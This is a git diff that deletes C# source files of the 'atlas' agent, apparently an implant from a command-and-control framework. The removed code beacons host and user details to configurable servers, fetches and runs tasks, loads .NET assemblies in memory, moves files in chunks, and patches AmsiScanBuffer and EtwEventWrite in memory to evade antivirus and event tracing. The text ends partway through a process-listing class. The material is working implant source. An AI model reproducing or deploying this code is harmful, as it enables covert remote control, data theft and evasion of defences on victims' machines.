- bitStringWriter.Write((byte)0x00); // # of unused bits
- bitStringWriter.Write((byte)0x30); // SEQUENCE
- using (var paramsStream = new MemoryStream())
- {
- var paramsWriter = new BinaryWriter(paramsStream);
- EncodeIntegerBigEndian(paramsWriter, parameters.Modulus); // Modulus
- EncodeIntegerBigEndian(paramsWriter, parameters.Exponent); // Exponent
- var paramsLength = (int)paramsStream.Length;
- EncodeLength(bitStringWriter, paramsLength);
- bitStringWriter.Write(paramsStream.GetBuffer(), 0, paramsLength);
- }
- var bitStringLength = (int)bitStringStream.Length;
- EncodeLength(innerWriter, bitStringLength);
- innerWriter.Write(bitStringStream.GetBuffer(), 0, bitStringLength);
- }
- var length = (int)innerStream.Length;
- EncodeLength(writer, length);
- writer.Write(innerStream.GetBuffer(), 0, length);
- }
-
- var base64 = Convert.ToBase64String(stream.GetBuffer(), 0, (int)stream.Length).ToCharArray();
- outputStream.WriteLine("-----BEGIN PUBLIC KEY-----");
- for (var i = 0; i < base64.Length; i += 64)
- {
- outputStream.WriteLine(base64, i, Math.Min(64, base64.Length - i));
- }
- outputStream.WriteLine("-----END PUBLIC KEY-----");
- }
- }
-
- private static void EncodeLength(BinaryWriter stream, int length)
- {
- if (length < 0) throw new ArgumentOutOfRangeException("length", "Length must be non-negative");
- if (length < 0x80)
- {
- // Short form
- stream.Write((byte)length);
- }
- else
- {
- // Long form
- var temp = length;
- var bytesRequired = 0;
- while (temp > 0)
- {
- temp >>= 8;
- bytesRequired++;
- }
- stream.Write((byte)(bytesRequired | 0x80));
- for (var i = bytesRequired - 1; i >= 0; i--)
- {
- stream.Write((byte)(length >> (8 * i) & 0xff));
- }
- }
- }
-
- private static void EncodeIntegerBigEndian(BinaryWriter stream, byte[] value, bool forceUnsigned = true)
- {
- stream.Write((byte)0x02); // INTEGER
- var prefixZeros = 0;
- for (var i = 0; i < value.Length; i++)
- {
- if (value[i] != 0) break;
- prefixZeros++;
- }
- if (value.Length - prefixZeros == 0)
- {
- EncodeLength(stream, 1);
- stream.Write((byte)0);
- }
- else
- {
- if (forceUnsigned && value[prefixZeros] > 0x7f)
- {
- // Add a prefix zero to force unsigned if the MSB is 1
- EncodeLength(stream, value.Length - prefixZeros + 1);
- stream.Write((byte)0);
- }
- else
- {
- EncodeLength(stream, value.Length - prefixZeros);
- }
- for (var i = prefixZeros; i < value.Length; i++)
- {
- stream.Write(value[i]);
- }
- }
- }
-#endif
- }
-}
diff --git a/Payload_Types/atlas/agent_code/Http.cs b/Payload_Types/atlas/agent_code/Http.cs
deleted file mode 100755
index 2985b4852..000000000
--- a/Payload_Types/atlas/agent_code/Http.cs
+++ /dev/null
@@ -1,517 +0,0 @@
-using System;
-using System.Net;
-using System.Linq;
-#if DEFAULT
-using System.Text;
-#endif
-using System.Collections.Generic;
-using System.Diagnostics;
-using Microsoft.Win32;
-
-namespace Atlas
-{
- public class Http
- {
- public static bool CheckIn()
- {
- try
- {
-#if DEFAULT_EKE
- Crypto.GenRsaKeys();
- Utils.GetStage GetStage = new Utils.GetStage
- {
- action = "staging_rsa",
- pub_key = Crypto.GetPubKey(),
- session_id = Utils.GetSessionId()
-
- };
- Config.SessionId = GetStage.session_id;
- string SerializedData = Crypto.EncryptStage(Utils.GetStage.ToJson(GetStage));
- var result = Get(SerializedData);
- string final_result = Crypto.Decrypt(result);
- Utils.StageResponse StageResponse = Utils.StageResponse.FromJson(final_result);
- Config.tempUUID = StageResponse.uuid;
- Config.Psk = Convert.ToBase64String(Crypto.RsaDecrypt(Convert.FromBase64String(StageResponse.session_key)));
-#endif
- Utils.CheckIn CheckIn = new Utils.CheckIn
- {
- action = "checkin",
- ip = Utils.GetIPAddress(),
- os = Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName", "").ToString() + " " + Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", ""),
- user = Environment.UserName.ToString(),
- host = Environment.MachineName.ToString(),
- domain = Environment.UserDomainName.ToString(),
- pid = Process.GetCurrentProcess().Id,
- uuid = Config.PayloadUUID,
- architecture = Utils.GetArch()
- };
-#if DEFAULT
- string FinalSerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.PayloadUUID + Utils.CheckIn.ToJson(CheckIn)));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string FinalSerializedData = Crypto.EncryptCheckin(Utils.CheckIn.ToJson(CheckIn));
-#endif
- var new_result = Get(FinalSerializedData);
-#if (DEFAULT_PSK || DEFAULT_EKE)
- string last_result = Crypto.Decrypt(new_result);
-#endif
-#if DEFAULT
- Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(Encoding.UTF8.GetString(Convert.FromBase64String(new_result)).Substring(36));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- Utils.CheckInResponse CheckInResponse = Utils.CheckInResponse.FromJson(last_result);
-#endif
- Config.UUID = CheckInResponse.id;
- if (CheckInResponse.status == "success")
- {
- return true;
- }
- else
- {
- return false;
- }
- }
- catch
- {
- return false;
- }
- }
-
- public static bool GetTasking(Utils.JobList JobList)
- {
- try
- {
- foreach (Utils.Job Job in JobList.jobs)
- {
- if (Job.upload)
- {
- if ((Job.total_chunks != Job.chunk_num) & (Job.total_chunks != 0))
- {
- if (!Job.chunking_started)
- {
- Utils.UploadTasking UploadTasking = Utils.UploadTasking.FromJson(Job.parameters);
- Job.file_id = UploadTasking.assembly_id;
- Job.path = UploadTasking.remote_path;
- Utils.Upload Upload = new Utils.Upload
- {
- action = "upload",
- chunk_size = Config.ChunkSize,
- file_id = Job.file_id,
- chunk_num = Job.chunk_num,
- full_path = Job.path,
- task_id = Job.task_id
- };
- Utils.UploadResponse UploadResponse = Http.GetUpload(Upload);
- Job.total_chunks = UploadResponse.total_chunks;
- Job.chunks.Add(UploadResponse.chunk_data);
- Job.chunking_started = true;
- }
- else
- {
- Job.chunk_num++;
- Utils.Upload ChunkUpload = new Utils.Upload
- {
- action = "upload",
- chunk_size = Config.ChunkSize,
- file_id = Job.file_id,
- chunk_num = Job.chunk_num,
- full_path = Job.path,
- task_id = Job.task_id
- };
- Utils.UploadResponse UploadResponse = Http.GetUpload(ChunkUpload);
- Job.chunks.Add(UploadResponse.chunk_data);
- }
- }
- }
- }
- Utils.GetTasking GetTasking = new Utils.GetTasking
- {
- action = "get_tasking",
- tasking_size = -1
- };
-#if DEFAULT
- string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.GetTasking.ToJson(GetTasking)));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string SerializedData = Crypto.Encrypt(Utils.GetTasking.ToJson(GetTasking));
-#endif
- var result = Get(SerializedData);
-#if DEFAULT
- string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string final_result = Crypto.Decrypt(result);
-#endif
- if (final_result.Substring(0, 36) != Config.UUID)
- {
- return false;
- }
- Utils.GetTaskingResponse GetTaskResponse = Utils.GetTaskingResponse.FromJson(final_result.Substring(36));
- if (GetTaskResponse.tasks[0].command == "")
- {
- return false;
- }
- foreach (Utils.Task task in GetTaskResponse.tasks) {
- Utils.Job Job = new Utils.Job
- {
- job_id = JobList.job_count,
- task_id = task.id,
- completed = false,
- job_started = false,
- success = false,
- command = task.command,
- parameters = task.parameters,
- total_chunks = 0
- };
- if (Job.command == "loadassembly" || Job.command == "upload")
- {
- Job.upload = true;
- Job.total_chunks = 2;
- Job.chunk_num = 1;
- }
- else if (Job.command == "download")
- {
- Job.download = true;
- }
- else if (Job.command == "jobs")
- {
- Job.response = Modules.GetJobs(JobList);
- Job.completed = true;
- Job.success = true;
- }
- else if (Job.command == "jobkill")
- {
- if (Modules.KillJob(JobList, Int32.Parse(Job.parameters)))
- {
- Job.completed = true;
- Job.success = true;
- Job.response = "Job successfully removed";
- }
- else
- {
- Job.completed = true;
- Job.success = false;
- Job.response = "Could not remove job";
- }
- }
- JobList.jobs.Add(Job);
- ++JobList.job_count;
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static Utils.UploadResponse GetUpload(Utils.Upload Upload)
- {
- try
- {
-#if DEFAULT
- string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.Upload.ToJson(Upload)));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string SerializedData = Crypto.Encrypt(Utils.Upload.ToJson(Upload));
-#endif
- var result = Get(SerializedData);
-#if DEFAULT
- string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string final_result = Crypto.Decrypt(result);
-#endif
- Utils.UploadResponse UploadResponse = Utils.UploadResponse.FromJson(final_result.Substring(36));
-
- return UploadResponse;
- }
- catch
- {
- Utils.UploadResponse UploadResponse = new Utils.UploadResponse { };
- return UploadResponse;
- }
- }
-
- public static bool PostResponse(Utils.JobList JobList)
- {
- try
- {
- Utils.PostResponse PostResponse = new Utils.PostResponse
- {
- action = "post_response",
- responses = { }
- };
- foreach (Utils.Job Job in JobList.jobs)
- {
- if (Job.completed)
- {
- if (!Job.success)
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = Job.response,
- status = "error",
- completed = "false",
- total_chunks = null,
- full_path = null,
- chunk_num = null,
- chunk_data = null,
- file_id = null
- };
- PostResponse.responses.Add(TaskResponse);
- }
- else if (Job.download)
- {
- if (Job.file_id == null)
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = null,
- status = null,
- completed = null,
- total_chunks = Job.total_chunks,
- full_path = Job.path,
- chunk_num = null,
- chunk_data = null,
- file_id = null
- };
- PostResponse.responses.Add(TaskResponse);
- }
- else if (Job.chunk_num == Job.total_chunks)
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = null,
- status = null,
- completed = "true",
- total_chunks = null,
- full_path = null,
- chunk_num = Job.chunk_num,
- chunk_data = Job.chunks[0],
- file_id = Job.file_id
- };
- PostResponse.responses.Add(TaskResponse);
- }
- else
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = null,
- status = null,
- completed = null,
- total_chunks = null,
- full_path = null,
- chunk_num = Job.chunk_num,
- chunk_data = Job.chunks[0],
- file_id = Job.file_id
- };
- PostResponse.responses.Add(TaskResponse);
- }
- }
- else if ((Job.total_chunks != 0) && (!Job.upload))
- {
- if (Job.chunk_num != Job.total_chunks)
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = Job.chunks[0],
- completed = "false",
- total_chunks = null,
- full_path = null,
- chunk_num = null,
- chunk_data = null,
- file_id = null
- };
- PostResponse.responses.Add(TaskResponse);
- }
- else
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = Job.chunks[0],
- completed = "true",
- total_chunks = null,
- full_path = null,
- chunk_num = null,
- chunk_data = null,
- file_id = null
- };
- PostResponse.responses.Add(TaskResponse);
- }
- }
- else
- {
- Utils.TaskResponse TaskResponse = new Utils.TaskResponse
- {
- task_id = Job.task_id,
- user_output = Job.response,
- completed = "true",
- total_chunks = null,
- full_path = null,
- chunk_num = null,
- chunk_data = null,
- file_id = null
- };
- PostResponse.responses.Add(TaskResponse);
- }
- }
- }
- if (PostResponse.responses.Count < 1)
- {
- return false;
- }
- string Data = Utils.PostResponse.ToJson(PostResponse);
-#if DEFAULT
- string SerializedData = Convert.ToBase64String(Encoding.UTF8.GetBytes(Config.UUID + Utils.PostResponse.ToJson(PostResponse)));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string SerializedData = Crypto.Encrypt(Utils.PostResponse.ToJson(PostResponse));
-#endif
- string result = Post(SerializedData);
-#if DEFAULT
- string final_result = Encoding.UTF8.GetString(Convert.FromBase64String(result));
-#elif (DEFAULT_PSK || DEFAULT_EKE)
- string final_result = Crypto.Decrypt(result);
-#endif
- Utils.PostResponseResponse PostResponseResponse = Utils.PostResponseResponse.FromJson(final_result.Substring(36));
- List TempList = new List(JobList.jobs);
- foreach (Utils.Response Response in PostResponseResponse.responses)
- {
- foreach (Utils.Job Job in TempList)
- {
- if (Job.completed)
- {
- if (Job.task_id == Response.task_id)
- {
- if (Response.status == "success")
- {
- if (Job.download)
- {
- if (Job.file_id == null)
- {
- Job.file_id = Response.file_id;
- }
- if (Job.total_chunks == Job.chunk_num)
- {
- Utils.RemoveJob(Job, JobList);
- }
- else
- {
- if (Job.chunks.Count != 0)
- {
- Job.completed = true;
- Job.chunks.RemoveAt(0);
- }
- }
- }
- else if ((Job.total_chunks != 0) & (!Job.upload))
- {
- if (Job.chunk_num + 1 != Job.total_chunks)
- {
- Job.chunks.RemoveAt(0);
- Job.chunk_num++;
- }
- else
- {
- Utils.RemoveJob(Job, JobList);
- }
- }
- else
- {
- Utils.RemoveJob(Job, JobList);
- }
- }
- }
- }
- }
- }
- TempList = null;
- return true;
- }
- catch
- {
- return false;
- }
- }
- public static string Get(string B64Data)
- {
- string result = null;
- WebClient client = new System.Net.WebClient();
- if (Config.DefaultProxy)
- {
- client.Proxy = WebRequest.DefaultWebProxy;
- client.UseDefaultCredentials = true;
- client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
- }
- else
- {
- WebProxy proxy = new WebProxy
- {
- Address = new Uri(Config.ProxyAddress),
- UseDefaultCredentials = false,
- Credentials = new NetworkCredential(Config.ProxyUser, Config.ProxyPassword)
- };
- client.Proxy = proxy;
- }
- client.Headers.Add("User-Agent", Config.UserAgent);
-#if NET_4
- if (Config.HostHeader != "")
- {
- client.Headers.Add("Host", Config.HostHeader);
- }
-#endif
- client.QueryString.Add(Config.Param, B64Data.Replace("+", "%2B").Replace("/", "%2F").Replace("=", "%3D").Replace("\n", "%0A"));
- Config.Servers = Config.Servers.OrderBy(s=>s.count).ToList();
- try
- {
- result = client.DownloadString(Config.Servers[0].domain + Config.GetUrl);
- return result;
- }
- catch
- {
- Config.Servers[0].count++;
- return result;
- }
- }
-
- public static string Post(string B64Data)
- {
- string result = null;
- WebClient client = new System.Net.WebClient();
- if (Config.DefaultProxy)
- {
- client.Proxy = WebRequest.DefaultWebProxy;
- client.UseDefaultCredentials = true;
- client.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
- }
- else
- {
- WebProxy proxy = new WebProxy
- {
- Address = new Uri(Config.ProxyAddress),
- UseDefaultCredentials = false,
- Credentials = new NetworkCredential(Config.ProxyUser, Config.ProxyPassword)
- };
- client.Proxy = proxy;
- }
- client.Headers.Add("User-Agent", Config.UserAgent);
-#if NET_4
- if (Config.HostHeader != "")
- {
- client.Headers.Add("Host", Config.HostHeader);
- }
-#endif
- Config.Servers = Config.Servers.OrderBy(s => s.count).ToList();
- try
- {
- result = client.UploadString(Config.Servers[0].domain + Config.PostUrl, B64Data);
- return result;
- }
- catch
- {
- Config.Servers[0].count++;
- return result;
- }
- }
- }
-}
\ No newline at end of file
diff --git a/Payload_Types/atlas/agent_code/Modules.cs b/Payload_Types/atlas/agent_code/Modules.cs
deleted file mode 100755
index 2352c8e0f..000000000
--- a/Payload_Types/atlas/agent_code/Modules.cs
+++ /dev/null
@@ -1,740 +0,0 @@
-using System;
-using System.Text;
-using System.Reflection;
-using System.IO;
-using System.Collections.Generic;
-using System.Linq;
-using System.Runtime.InteropServices;
-using System.Diagnostics;
-
-namespace Atlas
-{
- class Modules
- {
- public static bool Check(string FileId)
- {
- try
- {
- bool a = Config.Modules.ContainsKey(FileId);
- return a;
- }
- catch
- {
- return false;
- }
- }
-
- public static string GetFullName(string FileId)
- {
- try
- {
- if (Check(FileId))
- {
- string FullName = Config.Modules[FileId];
- return FullName;
- }
- else
- {
- return "";
- }
- }
- catch
- {
- return "";
- }
- }
-
- public static string ListAssemblies()
- {
- string AssemblyList = "";
- try
- {
- foreach (KeyValuePair Entry in Config.Modules)
- {
- string Module = Encoding.UTF8.GetString(Convert.FromBase64String(Entry.Value));
- string[] Assembly = Module.Split(',');
- AssemblyList += Assembly[0] + '\n';
- }
- return AssemblyList;
- }
- catch
- {
- return AssemblyList = "";
- }
- }
-
- public static bool Load(string FileId, string B64Assembly)
- {
- try
- {
- if (Check(FileId))
- {
- return false;
- }
- else
- {
- var a = Assembly.Load(Convert.FromBase64String(B64Assembly));
- string fullname = Convert.ToBase64String(Encoding.UTF8.GetBytes(a.FullName));
- Config.Modules.Add(FileId, fullname);
- return true;
- }
- }
- catch
- {
- return false;
- }
- }
-
- public static string Invoke(string FileId, string[] args)
- {
- string output = "";
- try
- {
- string FullName = GetFullName(FileId);
- Assembly[] assems = AppDomain.CurrentDomain.GetAssemblies();
- foreach (Assembly assem in assems)
- {
- if (assem.FullName == Encoding.UTF8.GetString(Convert.FromBase64String(FullName)))
- {
- MethodInfo entrypoint = assem.EntryPoint;
- object[] arg = new object[] { args };
-
- TextWriter realStdOut = Console.Out;
- TextWriter realStdErr = Console.Error;
- TextWriter stdOutWriter = new StringWriter();
- TextWriter stdErrWriter = new StringWriter();
- Console.SetOut(stdOutWriter);
- Console.SetError(stdErrWriter);
-
- entrypoint.Invoke(null, arg);
-
- Console.Out.Flush();
- Console.Error.Flush();
- Console.SetOut(realStdOut);
- Console.SetError(realStdErr);
-
- output = stdOutWriter.ToString();
- output += stdErrWriter.ToString();
- break;
- }
- }
- return output;
- }
- catch
- {
- return output;
- }
- }
-
- public static byte[] GetAssembly(List Chunks, int TotalChunks)
- {
- byte[] FinalAssembly = new byte[] { };
- try
- {
- byte[][] AssemblyArray = new byte[TotalChunks][];
- foreach (string chunk in Chunks)
- {
- int index = Chunks.IndexOf(chunk);
- AssemblyArray[index] = Convert.FromBase64String(chunk);
- }
- FinalAssembly = Combine(AssemblyArray);
- return FinalAssembly;
- }
- catch
- {
- return FinalAssembly;
- }
- }
-
- public static byte[] Combine(params byte[][] arrays)
- {
- byte[] rv = new byte[arrays.Sum(a => a.Length)];
- int offset = 0;
- foreach (byte[] array in arrays)
- {
- Buffer.BlockCopy(array, 0, rv, offset, array.Length);
- offset += array.Length;
- }
- return rv;
- }
-
- public static class Download
- {
- public static ulong GetTotalChunks(string File)
- {
- var fi = new FileInfo(File);
- ulong total_chunks = (ulong)(fi.Length + Config.ChunkSize - 1) / (ulong)Config.ChunkSize;
- return total_chunks;
- }
-
- public static long GetFileSize(string File)
- {
- var fi = new FileInfo(File);
- return fi.Length;
- }
-
- public static string GetPath(string File)
- {
- return Path.GetFullPath(File);
- }
-
- public static string GetChunk(string File, int ChunkNum, int TotalChunks, long FileSize)
- {
- try
- {
- byte[] file_chunk = null;
- long pos = ChunkNum * Config.ChunkSize;
- using (FileStream fileStream = new FileStream(File, FileMode.Open))
- {
- fileStream.Position = pos;
- if (TotalChunks == ChunkNum + 1)
- {
- file_chunk = new byte[FileSize - (ChunkNum * Config.ChunkSize)];
- int chunk_size = file_chunk.Length;
- fileStream.Read(file_chunk, 0, chunk_size);
- }
- else
- {
- file_chunk = new byte[Config.ChunkSize];
- fileStream.Read(file_chunk, 0, Config.ChunkSize);
- }
- }
- return Convert.ToBase64String(file_chunk);
- }
- catch
- {
- return "Error reading file";
- }
- }
- }
-
- public static bool Upload(string File, string ChunkData)
- {
- try
- {
- byte[] chunk_data = Convert.FromBase64String(ChunkData);
- using (FileStream fileStream = new FileStream(File, FileMode.Append))
- {
- fileStream.Write(chunk_data, 0, chunk_data.Length);
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static bool SetConfig(string arg)
- {
- string[] args = arg.Split();
- try
- {
- switch (args[0].ToString())
- {
- case "domain":
- if (args[1] == "add")
- {
- Utils.Server server = new Utils.Server
- {
- domain = args[2],
- count = 0
- };
- Config.Servers.Add(server);
- break;
- }
- else if (args[1] == "remove")
- {
- if (Config.Servers.Count == 1)
- {
- break;
- }
- else
- {
- foreach (Utils.Server server in Config.Servers)
- {
- if (server.domain == args[2])
- {
- Config.Servers.Remove(server);
- }
- }
- break;
- }
- }
- else
- {
- break;
- }
- case "sleep":
- Config.Sleep = int.Parse(args[1]);
- break;
- case "jitter":
- Config.Jitter = int.Parse(args[1]);
- break;
- case "kill_date":
- Config.KillDate = args[1];
- break;
- case "host_header":
- Config.HostHeader = args[1];
- break;
- case "user_agent":
- string ua = string.Join(" ", args);
- Config.UserAgent = ua.Substring(11);
- break;
- case "param":
- Config.Param = args[1];
- break;
- case "proxy":
- switch (args[1])
- {
- case "use_default":
- if (args[2].ToLower() == "false")
- {
- Config.DefaultProxy = false;
- }
- else
- {
- Config.DefaultProxy = true;
- }
- break;
- case "address":
- Config.ProxyAddress = args[2];
- break;
- case "username":
- Config.ProxyUser = args[2];
- break;
- case "password":
- Config.ProxyPassword = args[2];
- break;
- default:
- return false;
- }
- break;
- default:
- return false;
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
- private static extern IntPtr LoadLibrary(string lpFileName);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
- public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
-
- [DllImport("kernel32.dll")]
- public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
-
- public static bool PatchBuffer()
- {
-#if NET_4
- byte[] patch;
- if (IntPtr.Size == 8)
- {
- patch = new byte[6];
- patch[0] = 0xB8;
- patch[1] = 0x57;
- patch[2] = 0x00;
- patch[3] = 0x07;
- patch[4] = 0x80;
- patch[5] = 0xc3;
- }
- else
- {
- patch = new byte[8];
- patch[0] = 0xB8;
- patch[1] = 0x57;
- patch[2] = 0x00;
- patch[3] = 0x07;
- patch[4] = 0x80;
- patch[5] = 0xc2;
- patch[6] = 0x18;
- patch[7] = 0x00;
- }
-#endif
- byte[] nPatch;
- if (IntPtr.Size == 8)
- {
- nPatch = new byte[] { 0xc3, 0x00 };
- }
- else
- {
- nPatch = new byte[] { 0xc2, 0x14, 0x00 };
- }
-
- try
- {
-#if NET_4
- var library = LoadLibrary("amsi.dll");
- var address = GetProcAddress(library, "AmsiScanBuffer");
- uint oldProtect;
- VirtualProtect(address, (UIntPtr)patch.Length, 0x40, out oldProtect);
- Marshal.Copy(patch, 0, address, patch.Length);
- VirtualProtect(address, (UIntPtr)patch.Length, oldProtect, out oldProtect);
-#endif
- uint nOldProtect;
- // https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/
- var ntdll = LoadLibrary("ntdll.dll");
- var etwEventSend = GetProcAddress(ntdll, "EtwEventWrite");
- VirtualProtect(etwEventSend, (UIntPtr)nPatch.Length, 0x40, out nOldProtect);
- Marshal.Copy(nPatch, 0, etwEventSend, nPatch.Length);
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static string GetConnectFails()
- {
- string attempts = "";
- foreach (Utils.Server server in Config.Servers)
- {
- attempts += String.Format("{0} = {1}, ", server.domain, server.count.ToString());
- }
- return attempts;
- }
-
- public static string GetConfig()
- {
- string servers = "";
- foreach (Utils.Server server in Config.Servers)
- {
- servers += String.Format("{0} ", server.domain);
- }
- return String.Format("Domains: {0}\nSleep: {1}\nJitter: {2}\nKill Date: {3}\nHost Header: {4}\nUser-Agent: {5}\nGET Parameter: {6}\nUse Default Proxy: {7}\nProxy Address: {8}\nProxy Username: {9}\nProxy Password: {10}\nFailed Connections: {11}", servers, Config.Sleep.ToString(), Config.Jitter.ToString(), Config.KillDate, Config.HostHeader, Config.UserAgent, Config.Param, Config.DefaultProxy, Config.ProxyAddress, Config.ProxyUser, Config.ProxyPassword, GetConnectFails());
- }
-
- public static bool KillJob(Utils.JobList jobList, int jobNum)
- {
- try
- {
- int count = 0;
- foreach (Utils.Job job in jobList.jobs)
- {
- if (job.job_id == jobNum)
- {
- jobList.jobs[jobNum].thread.Abort();
- jobList.jobs.RemoveAt(count);
- break;
- }
- count++;
- }
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static string GetJobs(Utils.JobList jobList)
- {
- string jobs = "Job ID\tTask ID\t\t\t\t\tCommand\t\tParameters\n------\t-------\t\t\t\t\t-------\t\t---------\n";
- foreach (Utils.Job job in jobList.jobs)
- {
- jobs += String.Format("{0}\t{1}\t{2}\t\t{3}\n", job.job_id, job.task_id, job.command, job.parameters.Replace(@"\", @""));
- }
- return jobs;
- }
-
- // Most of this code is directly from SharSploit: https://github.com/cobbr/SharpSploit
- public class ProcessList
- {
- private struct PROCESS_BASIC_INFORMATION
- {
- private IntPtr ExitStatus;
- private IntPtr PebBaseAddress;
- private IntPtr AffinityMask;
- private IntPtr BasePriority;
- private UIntPtr UniqueProcessId;
- public int InheritedFromUniqueProcessId;
-
- private int Size
- {
- get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); }
- }
- }
-
- private enum PROCESSINFOCLASS : int
- {
- ProcessBasicInformation = 0, // 0, q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION
- ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX
- ProcessIoCounters, // q: IO_COUNTERS
- ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX
- ProcessTimes, // q: KERNEL_USER_TIMES
- ProcessBasePriority, // s: KPRIORITY
- ProcessRaisePriority, // s: ULONG
- ProcessDebugPort, // q: HANDLE
- ProcessExceptionPort, // s: HANDLE
- ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN
- ProcessLdtInformation, // 10
- ProcessLdtSize,
- ProcessDefaultHardErrorMode, // qs: ULONG
- ProcessIoPortHandlers, // (kernel-mode only)
- ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS
- ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void
- ProcessUserModeIOPL,
- ProcessEnableAlignmentFaultFixup, // s: BOOLEAN
- ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS
- ProcessWx86Information,
- ProcessHandleCount, // 20, q: ULONG, PROCESS_HANDLE_INFORMATION
- ProcessAffinityMask, // s: KAFFINITY
- ProcessPriorityBoost, // qs: ULONG
- ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX
- ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION
- ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND
- ProcessWow64Information, // q: ULONG_PTR
- ProcessImageFileName, // q: UNICODE_STRING
- ProcessLUIDDeviceMapsEnabled, // q: ULONG
- ProcessBreakOnTermination, // qs: ULONG
- ProcessDebugObjectHandle, // 30, q: HANDLE
- ProcessDebugFlags, // qs: ULONG
- ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables
- ProcessIoPriority, // qs: ULONG
- ProcessExecuteFlags, // qs: ULONG
- ProcessResourceManagement,
- ProcessCookie, // q: ULONG
- ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION
- ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION
- ProcessPagePriority, // q: ULONG
- ProcessInstrumentationCallback, // 40
- ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX
- ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[]
- ProcessImageFileNameWin32, // q: UNICODE_STRING
- ProcessImageFileMapping, // q: HANDLE (input)
- ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE
- ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE
- ProcessGroupInformation, // q: USHORT[]
- ProcessTokenVirtualizationEnabled, // s: ULONG
- ProcessConsoleHostProcess, // q: ULONG_PTR
- ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION
- ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8
- ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION
- ProcessDynamicFunctionTableInformation,
- ProcessHandleCheckingMode,
- ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION
- ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION
- MaxProcessInfoClass
- };
-
- [DllImport("ntdll.dll", SetLastError = true)]
- private static extern int NtQueryInformationProcess(IntPtr hProcess, PROCESSINFOCLASS pic, IntPtr pi, int cb, out int pSize);
-
- public static int GetParentProcess(IntPtr Handle)
- {
- int returnLength;
- var basicProcessInformation = new PROCESS_BASIC_INFORMATION();
- IntPtr pProcInfo = Marshal.AllocHGlobal(Marshal.SizeOf(basicProcessInformation));
- Marshal.StructureToPtr(basicProcessInformation, pProcInfo, true);
- NtQueryInformationProcess(Handle, PROCESSINFOCLASS.ProcessBasicInformation, pProcInfo, Marshal.SizeOf(basicProcessInformation), out returnLength);
- basicProcessInformation = (PROCESS_BASIC_INFORMATION)Marshal.PtrToStructure(pProcInfo, typeof(PROCESS_BASIC_INFORMATION));
-
- return basicProcessInformation.InheritedFromUniqueProcessId;
- }
-
- [DllImport("kernel32.dll")]
- private static extern Boolean OpenProcessToken(IntPtr hProcess, UInt32 dwDesiredAccess, out IntPtr hToken);
-
- private static string GetProcessOwner(Process Process)
- {
- try
- {
- IntPtr handle;
